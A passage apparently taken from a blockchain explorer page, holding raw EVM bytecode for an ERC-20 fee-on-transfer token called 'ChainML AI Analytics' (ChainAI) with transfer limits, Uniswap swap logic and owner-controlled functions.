6141580156116f0575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117b7574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b9061342d565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611861575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118b4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561196e57600f548211156118fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f590613495565b60405180910390fd5b6010548261190b85610786565b61191591906134b3565b1115611956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194d90613530565b60405180910390fd5b600e5f8154809291906119689061354e565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119f657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a3a57611a376064611a29600c54600e5411611a1657600854611a1a565b600a545b856125ef90919063ffffffff16565b61266690919063ffffffff16565b90505b5f611a4430610786565b9050601460159054906101000a900460ff16158015611aaf575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ac75750601460169054906101000a900460ff165b8015611ad65750600d54600e54115b8015611ae3575060115481115b15611b1d57611b05611b0084611afb846012546126af565b6126af565b612384565b5f4790505f811115611b1b57611b1a476126c7565b5b505b505b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611bba575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611bf95750611bc9610b37565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c3157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c7657426016819055505b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611cd957506024601554611cd691906134b3565b43115b15611ddd578160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825403925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611dcf9190612a65565b60405180910390a35061231d565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611e7b575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612071578273ffffffffffffffffffffffffffffffffffffffff1660145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611f3c575f60175f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f209050601654815f0154611f259190613595565b816002018190555042816001018190555050612070565b5f60175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2090508473ffffffffffffffffffffffffffffffffffffffff1660145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603612005575f815f01540361200057600b600e5410611fea5742611ff8565b600142611ff79190613595565b5b815f01819055505b61206e565b5f60175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2090505f825f0154148061205b5750815f0154815f0154105b1561206c57805f0154825f01819055505b505b505b5b5f811115612170576120c98160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461272f90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121679190612a65565b60405180910390a35b6121c08260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461278c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612263612217828461278c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461272f90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612306848661278c90919063ffffffff16565b6040516123139190612a65565b60405180910390a3505b505050565b5f838311158290612369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236091906128c0565b60405180910390fd5b505f83856123779190613595565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123bb576123ba6135c8565b5b6040519080825280602002602001820160405280156123e95781602001602082028036833780820191505090505b50905030815f81518110612400576123ff6135f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124c89190612e9f565b816001815181106124dc576124db6135f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125423060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611296565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125a49594939291906136d9565b5f604051808303815f87803b1580156125bb575f80fd5b505af11580156125cd573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b5f8083036125ff575f9050612660565b5f828461260c9190612d39565b905082848261261b919061375e565b1461265b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612652906137fe565b60405180910390fd5b809150505b92915050565b5f6126a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127d5565b905092915050565b5f8183116126bd57826126bf565b815b905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561272b573d5f803e3d5ffd5b5050565b5f80828461273d91906134b3565b905083811015612782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277990613866565b60405180910390fd5b8091505092915050565b5f6127cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612322565b905092915050565b5f808311829061281b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281291906128c0565b60405180910390fd5b505f8385612829919061375e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561286d578082015181840152602081019050612852565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61289282612836565b61289c8185612840565b93506128ac818560208601612850565b6128b581612878565b840191505092915050565b5f6020820190508181035f8301526128d88184612888565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f61292261291d612918846128e0565b6128ff565b6128e0565b9050919050565b5f61293382612908565b9050919050565b5f61294482612929565b9050919050565b6129548161293a565b82525050565b5f60208201905061296d5f83018461294b565b92915050565b5f80fd5b5f612981826128e0565b9050919050565b61299181612977565b811461299b575f80fd5b50565b5f813590506129ac81612988565b92915050565b5f819050919050565b6129c4816129b2565b81146129ce575f80fd5b50565b5f813590506129df816129bb565b92915050565b5f80604083850312156129fb576129fa612973565b5b5f612a088582860161299e565b9250506020612a19858286016129d1565b9150509250929050565b5f8115159050919050565b612a3781612a23565b82525050565b5f602082019050612a505f830184612a2e565b92915050565b612a5f816129b2565b82525050565b5f602082019050612a785f830184612a56565b92915050565b5f805f60608486031215612a9557612a94612973565b5b5f612aa28682870161299e565b9350506020612ab38682870161299e565b9250506040612ac4868287016129d1565b9150509250925092565b5f60ff82169050919050565b612ae381612ace565b82525050565b5f602082019050612afc5f830184612ada565b92915050565b612b0b81612977565b82525050565b5f602082019050612b245f830184612b02565b92915050565b5f60208284031215612b3f57612b3e612973565b5b5f612b4c8482850161299e565b91505092915050565b5f8060408385031215612b6b57612b6a612973565b5b5f612b788582860161299e565b9250506020612b898582860161299e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612c1557808604811115612bf157612bf0612b93565b5b6001851615612c005780820291505b8081029050612c0e85612bc0565b9450612bd5565b94509492505050565b5f82612c2d5760019050612ce8565b81612c3a575f9050612ce8565b8160018114612c505760028114612c5a57612c89565b6001915050612ce8565b60ff841115612c6c57612c6b612b93565b5b8360020a915084821115612c8357612c82612b93565b5b50612ce8565b5060208310610133831016604e8410600b8410161715612cbe5782820a905083811115612cb957612cb8612b93565b5b612ce8565b612ccb8484846001612bcc565b92509050818404811115612ce257612ce1612b93565b5b81810290505b9392505050565b5f612cf9826129b2565b9150612d0483612ace565b9250612d317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c1e565b905092915050565b5f612d43826129b2565b9150612d4e836129b2565b9250828202612d5c816129b2565b91508282048414831517612d7357612d72612b93565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612dae602083612840565b9150612db982612d7a565b602082019050919050565b5f6020820190508181035f830152612ddb81612da2565b9050919050565b5f81905092915050565b50565b5f612dfa5f83612de2565b9150612e0582612dec565b5f82019050919050565b5f612e1982612def565b9150819050919050565b7f54726164696e6720697320656e61626c656400000000000000000000000000005f82015250565b5f612e57601283612840565b9150612e6282612e23565b602082019050919050565b5f6020820190508181035f830152612e8481612e4b565b9050919050565b5f81519050612e9981612988565b92915050565b5f60208284031215612eb457612eb3612973565b5b5f612ec184828501612e8b565b91505092915050565b5f604082019050612edd5f830185612b02565b612eea6020830184612b02565b9392505050565b5f819050919050565b5f612f14612f0f612f0a84612ef1565b6128ff565b6129b2565b9050919050565b612f2481612efa565b82525050565b5f60c082019050612f3d5f830189612b02565b612f4a6020830188612a56565b612f576040830187612f1b565b612f646060830186612f1b565b612f716080830185612b02565b612f7e60a0830184612a56565b979650505050505050565b5f81519050612f97816129bb565b92915050565b5f805f60608486031215612fb457612fb3612973565b5b5f612fc186828701612f89565b9350506020612fd286828701612f89565b9250506040612fe386828701612f89565b9150509250925092565b5f6040820190506130005f830185612b02565b61300d6020830184612a56565b9392505050565b61301d81612a23565b8114613027575f80fd5b50565b5f8151905061303881613014565b92915050565b5f6020828403121561305357613052612973565b5b5f6130608482850161302a565b91505092915050565b7f416c72656164792072656d6f76656400000000000000000000000000000000005f82015250565b5f61309d600f83612840565b91506130a882613069565b602082019050919050565b5f6020820190508181035f8301526130ca81613091565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61312b602483612840565b9150613136826130d1565b604082019050919050565b5f6020820190508181035f8301526131588161311f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6131b9602283612840565b91506131c48261315f565b604082019050919050565b5f6020820190508181035f8301526131e6816131ad565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613247602583612840565b9150613252826131ed565b604082019050919050565b5f6020820190508181035f8301526132748161323b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6132d5602383612840565b91506132e08261327b565b604082019050919050565b5f6020820190508181035f830152613302816132c9565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613363602983612840565b915061336e82613309565b604082019050919050565b5f6020820190508181035f83015261339081613357565b9050919050565b7f5f7472616e736665723a3a207472616e736665722044656c617920656e61626c5f8201527f65642e204f6e6c7920312070757263686173652070657220626c6f636b20616c60208201527f6c6f7765642e0000000000000000000000000000000000000000000000000000604082015250565b5f613417604683612840565b915061342282613397565b606082019050919050565b5f6020820190508181035f8301526134448161340b565b9050919050565b7f457863656564732074686520205f6d61785478416d6f756e74000000000000005f82015250565b5f61347f601983612840565b915061348a8261344b565b602082019050919050565b5f6020820190508181035f8301526134ac81613473565b9050919050565b5f6134bd826129b2565b91506134c8836129b2565b92508282019050808211156134e0576134df612b93565b5b92915050565b7f457863656564732074686520205f6d617857616c6c657453697a6500000000005f82015250565b5f61351a601b83612840565b9150613525826134e6565b602082019050919050565b5f6020820190508181035f8301526135478161350e565b9050919050565b5f613558826129b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361358a57613589612b93565b5b600182019050919050565b5f61359f826129b2565b91506135aa836129b2565b92508282039050818111156135c2576135c1612b93565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61365481612977565b82525050565b5f613665838361364b565b60208301905092915050565b5f602082019050919050565b5f61368782613622565b613691818561362c565b935061369c8361363c565b805f5b838110156136cc5781516136b3888261365a565b97506136be83613671565b92505060018101905061369f565b5085935050505092915050565b5f60a0820190506136ec5f830188612a56565b6136f96020830187612f1b565b818103604083015261370b818661367d565b905061371a6060830185612b02565b6137276080830184612a56565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613768826129b2565b9150613773836129b2565b92508261378357613782613731565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6137e8602183612840565b91506137f38261378e565b604082019050919050565b5f6020820190508181035f830152613815816137dc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613850601b83612840565b915061385b8261381c565b602082019050919050565b5f6020820190508181035f83015261387d81613844565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220883e0d403321f469e7830df1bb91436fbc5fb4de66debbe4060f979b3cb2605b64736f6c63430008170033

Deployed Bytecode

0x608060405260043610610138575f3560e01c8063751039fc116100aa57806395d89b411161006e57806395d89b41146103c9578063a9059cbb146103f3578063c876d0b91461042f578063c9567bf914610459578063dd62ed3e14610463578063f8686f071461049f5761013f565b8063751039fc1461031f5780637d1db4a5146103355780637fa787ba1461035f5780638da5cb5b146103755780638f9a55c01461039f5761013f565b80632fd689e3116100fc5780632fd689e314610239578063313ce56714610263578063452ed4f11461028d57806351bc3c85146102b757806370a08231146102cd578063715018a6146103095761013f565b806306fdde03146101435780630758d9241461016d578063095ea7b31461019757806318160ddd146101d357806323b872dd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104b5565b60405161016491906128c0565b60405180910390f35b348015610178575f80fd5b506101816104f2565b60405161018e919061295a565b60405180910390f35b3480156101a2575f80fd5b506101bd60048036038101906101b891906129e5565b610517565b6040516101ca9190612a3d565b60405180910390f35b3480156101de575f80fd5b506101e7610534565b6040516101f49190612a65565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e9190612a7e565b610557565b6040516102309190612a3d565b60405180910390f35b348015610244575f80fd5b5061024d61062b565b60405161025a9190612a65565b60405180910390f35b34801561026e575f80fd5b50610277610631565b6040516102849190612ae9565b60405180910390f35b348015610298575f80fd5b506102a1610639565b6040516102ae9190612b11565b60405180910390f35b3480156102c2575f80fd5b506102cb61065e565b005b3480156102d8575f80fd5b506102f360048036038101906102ee9190612b2a565b610786565b6040516103009190612a65565b60405180910390f35b348015610314575f80fd5b5061031d6107cc565b005b34801561032a575f80fd5b5061033361091a565b005b348015610340575f80fd5b50610349610a30565b6040516103569190612a65565b60405180910390f35b34801561036a575f80fd5b50610373610a36565b005b348015610380575f80fd5b50610389610b37565b6040516103969190612b11565b60405180910390f35b3480156103aa575f80fd5b506103b3610b5e565b6040516103c09190612a65565b60405180910390f35b3480156103d4575f80fd5b506103dd610b64565b6040516103ea91906128c0565b60405180910390f35b3480156103fe575f80fd5b50610419600480360381019061041491906129e5565b610ba1565b6040516104269190612a3d565b60405180910390f35b34801561043a575f80fd5b50610443610bbe565b6040516104509190612a3d565b60405180910390f35b610461610bd1565b005b34801561046e575f80fd5b5061048960048036038101906104849190612b55565b61110e565b6040516104969190612a65565b60405180910390f35b3480156104aa575f80fd5b506104b3611190565b005b60606040518060400160405280601481526020017f436861696e4d4c20414920416e616c7974696373000000000000000000000000815250905090565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61052a61052361128f565b8484611296565b6001905092915050565b5f6009600a6105439190612cef565b6305f5e1006105529190612d39565b905090565b5f610563848484611459565b6106208461056f61128f565b61061b856040518060600160405280602881526020016138856028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105d261128f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123229092919063ffffffff16565b611296565b600190509392505050565b60115481565b5f6009905090565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61066661128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e990612dc4565b60405180910390fd5b5f6106fc30610786565b90505f8111156107105761070f81612384565b5b5f4790505f8111156107825760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610780573d5f803e3d5ffd5b505b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107d461128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790612dc4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61092261128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a590612dc4565b60405180910390fd5b5f6009600a6109bd9190612cef565b6305f5e1006109cc9190612d39565b905080600f81905550806010819055505f600660146101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf81604051610a259190612a65565b60405180910390a150565b600f5481565b610a3e61128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190612dc4565b60405180910390fd5b5f3373ffffffffffffffffffffffffffffffffffffffff1647604051610aef90612e0f565b5f6040518083038185875af1925050503d805f8114610b29576040519150601f19603f3d011682016040523d82523d5f602084013e610b2e565b606091505b50508091505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600781526020017f436861696e414900000000000000000000000000000000000000000000000000815250905090565b5f610bb4610bad61128f565b8484611459565b6001905092915050565b600660149054906101000a900460ff1681565b610bd961128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90612dc4565b60405180910390fd5b60148054906101000a900460ff1615610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90612e6d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d3a3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d35610534565b611296565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610da4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc89190612e9f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e4e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e729190612e9f565b6040518363ffffffff1660e01b8152600401610e8f929190612eca565b6020604051808303815f875af1158015610eab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ecf9190612e9f565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f5630610786565b5f80610f60610b37565b426040518863ffffffff1660e01b8152600401610f8296959493929190612f2a565b60606040518083038185885af1158015610f9e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fc39190612f9d565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611063929190612fed565b6020604051808303815f875af115801561107f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110a3919061303e565b50436015819055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff0219169083151502179055507fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f60405160405180910390a1565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61119861128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90612dc4565b60405180910390fd5b600660149054906101000a900460ff16611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a906130b3565b60405180910390fd5b5f600660146101000a81548160ff021916908315150217905550565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb90613141565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611372576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611369906131cf565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144c9190612a65565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be9061325d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c906132eb565b60405180910390fd5b5f8111611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156e90613379565b60405180910390fd5b5f611580610b37565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115ee57506115be610b37565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b1f5761162f6064611621600b54600e541161160e57600754611612565b6009545b856125ef90919063ffffffff16565b61266690919063ffffffff16565b9050600660149054906101000a900460ff16156117b85760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116f0575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117b7574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b9061342d565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611861575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118b4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561196e57600f548211156118fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f590613495565b60405180910390fd5b6010548261190b85610786565b61191591906134b3565b1115611956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194d90613530565b60405180910390fd5b600e5f8154809291906119689061354e565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119f657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a3a57611a376064611a29600c54600e5411611a1657600854611a1a565b600a545b856125ef90919063ffffffff16565b61266690919063ffffffff16565b90505b5f611a4430610786565b9050601460159054906101000a900460ff16158015611aaf575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ac75750601460169054906101000a900460ff165b8015611ad65750600d54600e54115b8015611ae3575060115481115b15611b1d57611b05611b0084611afb846012546126af565b6126af565b612384565b5f4790505f811115611b1b57611b1a476126c7565b5b505b505b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611bba575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611bf95750611bc9610b37565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c3157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6957503073ffffffffffffffff